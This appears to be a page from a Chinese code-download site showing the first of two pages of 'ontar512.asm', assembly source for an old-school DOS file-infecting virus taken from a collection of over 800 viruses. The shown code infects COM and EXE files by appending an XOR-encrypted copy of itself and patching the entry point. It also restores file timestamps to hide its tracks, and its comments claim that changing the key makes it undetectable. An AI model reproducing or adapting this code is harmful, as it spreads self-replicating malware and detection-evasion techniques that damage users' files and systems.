⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ontar512.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
           mov     dx,208h         ;DX=Pointer                           
           mov     cx,1Bh          ;CX=Number of Btyes                   
           mov     ah,3Fh          ;Read From File                       
           call    int21           ;Do It!                               
           jc      go4it1          ;Errors? Quit if yes!                 
           cmp     word ptr ds:[208h],5A4Dh ;Check if files already      
           je      go4it0                   ;infected.                   
           mov     al,byte ptr ds:[209h]   ;Com , Exes...                
           cmp     al,byte ptr ds:[20Bh]                                 
           je      go4it1                                                
           xor     dx,dx                                                 
           xor     cx,cx                                                 
           mov     ax,4202h                                              
           call    int21           ;Move File pointer to end of          
           jc      go4it1          ;file to be infected.                 
           cmp     ax,0E000h       ;File bigger than E000 bytes?         
           ja      go4it1          ;Error...                             
           push    ax              ;Save File Length                     
           mov     ax,word ptr ds:[208h]                                 
           mov     ds:7bh,ax                                             
           mov     ax,word ptr ds:[20Ah]                                 
           mov     ds:7dh,ax                                             
           pop     ax                       ;All this is, is a complex   
           sub     ax,3                     ;way to do "JMP"             
           mov     byte ptr ds:[208h],0E9h  ;                            
           mov     word ptr ds:[209h],ax                                 
           mov     byte ptr ds:[20Bh],al                                 
           jmp     short go4it3             ;File READY Infect it!       
           db      90h                      ;NOP me... detection string? 
go4it0:                                                                  
           cmp     word ptr ds:[21Ch],1                                  
           jne     go4it2                                                
go4it1:                                                                  
           jmp     go4it4                                                
go4it2:                                                                  
           mov     ax,word ptr ds:[20Ch]                                 
           mov     cx,200h                                               
           mul     cx                                                    
           push    ax                                                    
           push    dx                                                    
           mov     cl,4                                                  
           ror     dx,cl                                                 
           shr     ax,cl                                                 
           add     ax,dx                                                 
           sub     ax,word ptr ds:[210h]                                 
           push    ax                                                    
           mov     ax,word ptr ds:[21Ch]                                 
           mov     ds:7bh,ax                                             
           mov     ax,word ptr ds:[21Eh]                                 
           add     ax,10h                                                
           mov     ds:7dh,ax                                             
           pop     ax                      ; This is continues with the  
           mov     word ptr ds:[21Eh],ax   ; above to put a JMP at the   
           mov     word ptr ds:[21Ch],1    ; beginning of the file!      
           inc     word ptr ds:[20Ch]      ;                             
           pop     cx                      ;                             
           pop     dx                      ;                             
           mov     ax,4200h                ;                             
           call    int21                                                 
           jc      go4it4                                                
go4it3:                                                                  
           xor     byte ptr ds:[1F8h],8   ;                              
           xor     ax,ax                  ; Theses Lines copy the        
           mov     ds,ax                  ; virus code else where        
           mov     al,ds:46Ch             ; in memory to get it          
           push    cs                     ; ready to infect the file     
           pop     ds                     ; as we must encrypt it        
           push    cs                     ; FIRST when we infect the     
           pop     es                     ; file. so we'll encrypt       
           mov     byte ptr ds:[1ECh],al  ; this copy we're making!      
           xor     si,si                  ; and append that to the       
           mov     di,offset ds:[224h]    ; end of the file              
           push    di                     ;                              
           mov     cx,200h                ;                              
           cld                            ;                              
           rep     movsb                                                 
           mov     si,offset ds:[228h]    ;Now Encrpyt that copy of the  
           call    encrypt_decrypt        ;virus we just made...         
           pop     dx                                                    
           mov     cx,200h                ;Write Virus to file!          
           mov     ah,40h                 ;BX=Handle, CX=Bytes           
           call    int21                  ;DX=pointer to write buffer    
           jc      go4it4            ;Duh? Check for errors!             
           xor     cx,cx                                                 
           xor     dx,dx                  ;Now move pointer to beginning 
           mov     ax,4200h               ;of file.                      
           call    int21                                                 
           jc      go4it4            ;Duh? Check for errors!             
           mov     dx,208h                ;Write to file!                
           mov     cx,1Bh                 ;CX=Bytes                      
           mov     ah,40h                 ;DX=pointes to buffer          
           call    int21             ;Bah, HumBug                        
go4it4:                                                                  
           mov     dx,word ptr ds:[206h]  ;Leave no tracks...            
           mov     cx,word ptr ds:[204h]  ; puts back File TIME          
           mov     ax,5701h               ; and DATE! on file...         
           call    int21                  ;                              
           mov     ah,3Eh                 ;                              
           call    int21             ;Bah, HumBug...                     
go4it5:                                                                  
           pop     ax                     ;Get lost...                   
           pop     bx                                                    
           pop     cx                                                    
           pop     dx                                                    
           pop     ds                                                    
           pop     es                                                    
           retn                                                          
infect     endp                                                          
                                                                         
;----------------------------------------------------------------------; 
;                 The Original Interrupt 21h handler                   ; 
;----------------------------------------------------------------------; 
                                                                         
int21      proc    near                                                  
           pushf                       ;Fake an Int Call...              
                                                                         
           call    dword ptr cs:[200h] ;Orignal Int21h Handler           
           retn                                                          
int21      endp                                                          
                                                                         
           db      'C:\COMMAND.COM'                                      
           db       00h, 84h                                             
                                                                         
;---------------------------------------------------------------------;  
;            The Simple, But VERY Effective Encryption Routine        ;  
;---------------------------------------------------------------------;  
                                                                         
decrypt    proc    near                                                  
           pop     si                                                    
           push    si                                                    
           mov     al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE! 
encrypt_decrypt:                         ;and Virus will be UNDETECTABLE 
           mov     cx,1E8h            ; LENGTH OF VIRII! Change this!    
loop_me:   not     al                 ; if you modief the virus!         
           xor     cs:[si],al         ;                                  
           inc     si                 ;                                  
           loop    loop_me            ;                                  
                                      ;                                  
           retn                                                          
decrypt    endp                                                          
                                                                         
                                                                         
virus      ends                                                          
           end     start                                                 
                                                                         
;------------------------------------------------------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -